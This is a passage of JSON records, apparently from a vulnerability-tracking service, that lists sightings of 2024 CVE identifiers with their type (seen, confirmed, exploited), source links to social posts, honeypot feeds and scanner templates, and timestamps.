"source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-07)", "content": "", "creation_timestamp": "2025-03-07T00:00:00.000000Z"}, {"uuid": "2e152e2f-abde-4796-bafc-06075bbfb00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkpysbbwln2n", "content": "", "creation_timestamp": "2025-03-19T10:43:19.724519Z"}, {"uuid": "7b5daca9-c13b-4b00-9337-4bf695858198", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3liyt4vnf6o42", "content": "", "creation_timestamp": "2025-02-25T12:08:10.000653Z"}, {"uuid": "94970beb-db1f-4c2e-b615-5335fed0ab88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3liui36x3bc22", "content": "", "creation_timestamp": "2025-02-23T18:37:04.901190Z"}, {"uuid": "01f1c3b9-3ed2-4c5f-a705-f3348a592788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12144", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3ljqpb4czra2v", "content": "", "creation_timestamp": "2025-03-07T00:00:09.984922Z"}, {"uuid": "302fc86e-6528-4e60-a6f3-a89156a62912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/114008420002784130", "content": "", "creation_timestamp": "2025-02-15T14:40:32.608538Z"}, {"uuid": "4b2b6cb9-ac15-484b-94a1-53c965ee4100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3li7x575itk25", "content": "", "creation_timestamp": "2025-02-15T14:40:40.297992Z"}, {"uuid": "2c20f4b9-8e5b-4142-a33f-946c9ce52b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3liawfnrvbv2e", "content": "", "creation_timestamp": "2025-02-16T00:00:12.056300Z"}, {"uuid": "57d8ede0-2215-4bd7-a726-453958237c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lic6mzliav25", "content": "", "creation_timestamp": "2025-02-16T12:00:06.131124Z"}, {"uuid": "609925d1-1587-4ad4-a04d-7d88fa8004e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/114013581624577454", "content": "", "creation_timestamp": "2025-02-16T12:33:12.691661Z"}, {"uuid": "b88a1d46-c680-482d-954b-7d620c9909e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3licpct7k6m2w", "content": "", "creation_timestamp": "2025-02-16T16:58:37.392749Z"}, {"uuid": "64c1abad-60f2-42ac-a201-c2694356f536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ljquc47brf2p", "content": "", "creation_timestamp": "2025-03-07T01:30:10.188658Z"}, {"uuid": "570f1d18-287a-4d44-b660-8410d2455edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-13)", "content": "", "creation_timestamp": "2025-03-13T00:00:00.000000Z"}, {"uuid": "d4cffe3c-5215-4f74-be80-3325d5a3a5dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ljquc47brf2p", "content": "", "creation_timestamp": "2025-03-07T01:30:10.264207Z"}, {"uuid": "fb3ae83c-91f6-4e68-946b-4e31710178e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12824.yaml", "content": "", "creation_timestamp": "2025-03-04T11:32:09.000000Z"}, {"uuid": "3d91550a-09a2-4ab3-b2ce-0c678305c717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ljnutmilca2v", "content": "", "creation_timestamp": "2025-03-05T21:02:00.584210Z"}, {"uuid": "b1cca3eb-b2ba-4b87-b2f6-82c3e129ce8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "content": "", "creation_timestamp": "2025-03-14T00:00:00.000000Z"}, {"uuid": "77fd273d-522f-4484-a039-8e1b0fed1b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/code/cves/2024/CVE-2024-12356.yaml", "content": "", "creation_timestamp": "2025-02-21T09:10:50.000000Z"}, {"uuid": "687a4cfe-72fa-4f57-8b0c-e27ad4c8be09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12920", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkqfwsjo4w2x", "content": "", "creation_timestamp": "2025-03-19T14:38:29.724215Z"}, {"uuid": "12ec908a-6a76-42ef-a429-773c0f0e467c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-25)", "content": "", "creation_timestamp": "2025-03-25T00:00:00.000000Z"}, {"uuid": "145472d5-6ea8-4b34-ac86-f964c9676fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-0cbbcc54-2537dcbcd7677eb4", "content": "", "creation_timestamp": "2025-02-17T09:58:14.586455Z"}, {"uuid": "6b6e801f-174a-49f1-96de-42c0578a71dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-0cbbcc54-2537dcbcd7677eb4", "content": "", "creation_timestamp": "2025-02-17T09:58:14.647245Z"}, {"uuid": "537adb6a-72d6-4011-afac-28689c469701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3liekvexaos2r", "content": "", "creation_timestamp": "2025-02-17T10:44:53.558439Z"}, {"uuid": "d9d08beb-79b8-4921-a60c-9eff3bd37ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lifkmly4il2z", "content": "", "creation_timestamp": "2025-02-17T20:12:35.880377Z"}, {"uuid": "d29da44f-043f-440d-ae6a-dbec681ca2ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12425", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ligbe4kacs2n", "content": "", "creation_timestamp": "2025-02-18T02:59:27.496561Z"}, {"uuid": "d7c1ec82-7548-47eb-89eb-2f6440d16e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12426", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ligbe4kacs2n", "content": "", "creation_timestamp": "2025-02-18T02:59:27.597200Z"}, {"uuid": "98f597de-b15a-408b-9e67-13b993d4342f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-18T02:34:31.000000Z"}, {"uuid": "d1e86458-d060-4bf1-9a48-4724205c59f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lige5mhsjc2h", "content": "", "creation_timestamp": "2025-02-18T03:49:37.023002Z"}, {"uuid": "0e1da964-1da0-4d89-8bef-48398975f382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lige5mhsjc2h", "content": "", "creation_timestamp": "2025-02-18T03:49:37.091889Z"}, {"uuid": "75d63161-f140-491a-b611-5c7c3d8556fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ligecn6xl226", "content": "", "creation_timestamp": "2025-02-18T03:52:23.462134Z"}, {"uuid": "a451c8ba-6cef-4bfa-96f9-3001b7fe29e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12562", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ligf4y4msc2n", "content": "", "creation_timestamp": "2025-02-18T04:07:03.704056Z"}, {"uuid": "05f99610-3bdd-4b6b-ad93-41d481670cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligixae7le2y", "content": "", "creation_timestamp": "2025-02-18T05:15:25.206248Z"}, {"uuid": "d9e6a7e2-819f-4bb4-a3d1-869a60b65c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12525", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligixcvgzg2p", "content": "", "creation_timestamp": "2025-02-18T05:15:27.575549Z"}, {"uuid": "72aef3dc-e4e1-4cba-a893-8fd2780ff482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12813", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligixfaism2t", "content": "", "creation_timestamp": "2025-02-18T05:15:30.002955Z"}, {"uuid": "44c5ed8d-e1d6-495b-98fa-7a1846a2f91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsfz65zp2z", "content": "", "creation_timestamp": "2025-02-18T08:04:45.019342Z"}, {"uuid": "c876b46a-069c-4a53-a1ef-913abb56fc85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsfz65zp2z", "content": "", "creation_timestamp": "2025-02-18T08:04:45.100742Z"}, {"uuid": "d30cc1b2-8029-40df-bbb3-34c58fdf96ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsjkuvha2v", "content": "", "creation_timestamp": "2025-02-18T08:06:43.903127Z"}, {"uuid": "99f43724-7df7-4098-b921-912561d017a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ligsjkuvha2v", "content": "", "creation_timestamp": "2025-02-18T08:06:43.978999Z"}, {"uuid": "549cd92c-87e7-4171-b3bf-99669881b6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3ligvlwbngk2c", "content": "", "creation_timestamp": "2025-02-18T09:01:44.356891Z"}, {"uuid": "441f29ad-cdec-4580-a741-7ffdc1760234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3ligvlwbngk2c", "content": "", "creation_timestamp": "2025-02-18T09:01:44.432767Z"}, {"uuid": "137d7d71-fec1-42fc-ac15-3e24d6a7566a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ligweenowa2o", "content": "", "creation_timestamp": "2025-02-18T09:15:24.382691Z"}, {"uuid": "424ea907-125c-49a4-a76e-7338175213bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-17)", "content": "", "creation_timestamp": "2025-02-17T00:00:00.000000Z"}, {"uuid": "c64e9288-858b-4e78-a104-af10416cb809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114086542206132230", "content": "", "creation_timestamp": "2025-03-01T09:48:03.700130Z"}, {"uuid": "b91e0d34-f5ae-4afb-b36c-34dca1d86732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12544", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114086542311660523", "content": "", "creation_timestamp": "2025-03-01T09:48:04.666651Z"}, {"uuid": "9ce05e40-a730-428e-bde6-d4589ba2d9a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114185635690153098", "content": "", "creation_timestamp": "2025-03-18T21:48:50.242952Z"}, {"uuid": "c9be62d6-2f32-4082-afb3-ab62b7ee228c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-19)", "content": "", "creation_timestamp": "2025-03-19T00:00:00.000000Z"}, {"uuid": "04e1de75-93a9-4e4d-98c2-0e2d601f1b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12425", "type": "seen", "source": "https://infosec.exchange/users/securestep9/statuses/114024085695036829", "content": "", "creation_timestamp": "2025-02-18T10:26:00.096156Z"}, {"uuid": "f84d8e27-7ad4-486e-bdf1-1f2e1f1ccb1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12426", "type": "seen", "source": "https://infosec.exchange/users/securestep9/statuses/114024085695036829", "content": "", "creation_timestamp": "2025-02-18T10:26:00.160937Z"}, {"uuid": "73f1804f-6666-421a-9423-9062c1b4069b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114024494206744752", "content": "", "creation_timestamp": "2025-02-18T10:48:25.670667Z"}, {"uuid": "4e0b862e-dc58-4ed5-9a55-aa857ae5ed35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/stringsvsatoms.bsky.social/post/3lih3saq7hg26", "content": "", "creation_timestamp": "2025-02-18T10:52:38.904512Z"}, {"uuid": "a72f5a0c-6e6a-4e61-be55-7566bb75e848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/stringsvsatoms.bsky.social/post/3lih3saq7hg26", "content": "", "creation_timestamp": "2025-02-18T10:52:38.986781Z"}, {"uuid": "e4018742-3280-4c8f-a3fe-46ea255feba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lihonr4tqw2i", "content": "", "creation_timestamp": "2025-02-18T16:30:09.759806Z"}, {"uuid": "5cf97306-7dab-453f-b89a-352f843ae281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lihsiy75nb2g", "content": "", "creation_timestamp": "2025-02-18T17:39:04.468907Z"}, {"uuid": "5a05eec7-0b86-46c6-8a1b-a690c83fb39b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lihsiy75nb2g", "content": "", "creation_timestamp": "2025-02-18T17:39:04.561493Z"}, {"uuid": "de0b1d9c-bfdc-46ce-9dfb-cc813d1aed63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3lihvdfgvbs2v", "content": "", "creation_timestamp": "2025-02-18T18:29:40.719360Z"}, {"uuid": "e7aec16d-6667-484b-9139-4faa2b69266e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3lii4tqjp4c2v", "content": "", "creation_timestamp": "2025-02-18T20:44:04.942887Z"}, {"uuid": "7a44ec87-6167-4bd7-bf83-17785c2896f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://bsky.app/profile/rapid7.com/post/3lii4tqjp4c2v", "content": "", "creation_timestamp": "2025-02-18T20:44:05.007315Z"}, {"uuid": "9fdd0233-3f83-495e-a2fe-2bcc7aeff8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lii5urzcac2i", "content": "", "creation_timestamp": "2025-02-18T21:02:31.052165Z"}, {"uuid": "79a94768-6667-4cc2-8c7d-70b56565879d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3liihtltglb2k", "content": "", "creation_timestamp": "2025-02-19T00:00:49.331179Z"}, {"uuid": "d5c2cb17-def4-447f-be99-620b68976909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-19T02:34:22.000000Z"}, {"uuid": "8c537602-6d5d-4039-991f-0d33d7f59230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lij4skwnyj23", "content": "", "creation_timestamp": "2025-02-19T06:16:02.971793Z"}, {"uuid": "55cf6bb3-1bd1-42aa-8b37-c259b340e657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lijcz4wvwq23", "content": "", "creation_timestamp": "2025-02-19T08:07:06.086795Z"}, {"uuid": "c36574d9-5bc5-4f10-9a1d-28d33232a2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12069", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lijdidpgu32t", "content": "", "creation_timestamp": "2025-02-19T08:15:35.585183Z"}, {"uuid": "6c38594d-a7c5-44b0-93b8-707f904b3dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12339", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lijdigmvma2o", "content": "", "creation_timestamp": "2025-02-19T08:15:39.117456Z"}, {"uuid": "2aaa3040-c718-4b1c-8b2b-6516b617a7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12522", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lijdiiplye2g", "content": "", "creation_timestamp": "2025-02-19T08:15:40.753300Z"}, {"uuid": "77f2a033-73ea-4f6b-9edb-c564070aa458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3livwjlrvma22", "content": "", "creation_timestamp": "2025-02-24T08:28:15.502913Z"}, {"uuid": "09c7cc86-69c4-4e4c-a465-34caf6c9c067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3livwjlrvma22", "content": "", "creation_timestamp": "2025-02-24T08:28:15.572998Z"}, {"uuid": "9b5c745c-740f-464a-b691-fc15dc0bab5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12920", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114189644467826611", "content": "", "creation_timestamp": "2025-03-19T14:48:18.827240Z"}, {"uuid": "c9fb2119-8503-4bc2-b9a9-bac9a3c41f37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12368", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114066255003294911", "content": "", "creation_timestamp": "2025-02-25T19:48:45.022045Z"}, {"uuid": "f7775670-d7be-4829-b771-eeebc34786e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12119", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljucwvmh7q2e", "content": "", "creation_timestamp": "2025-03-08T10:30:20.328766Z"}, {"uuid": "d21cfcd7-e0cf-42ce-8289-6dbfffd4cd85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12308", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3livx2eqxhg23", "content": "", "creation_timestamp": "2025-02-24T08:37:39.182004Z"}, {"uuid": "7af28504-0d33-4e9f-949e-64aea57e9ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12114", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljucwvxveh26", "content": "", "creation_timestamp": "2025-03-08T10:30:21.982931Z"}, {"uuid": "31659ea2-d156-400b-9380-9e8b57f45cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12860", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lijpzycmv42q", "content": "", "creation_timestamp": "2025-02-19T12:00:12.436778Z"}, {"uuid": "ac9d16c4-7e5c-47b2-8451-4d2c79065d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodpy6go25", "content": "", "creation_timestamp": "2025-02-19T21:02:31.658664Z"}, {"uuid": "b325de5c-ccd4-4217-b59a-85f4c4f13e6a", "vulnerability_lookup_origin": 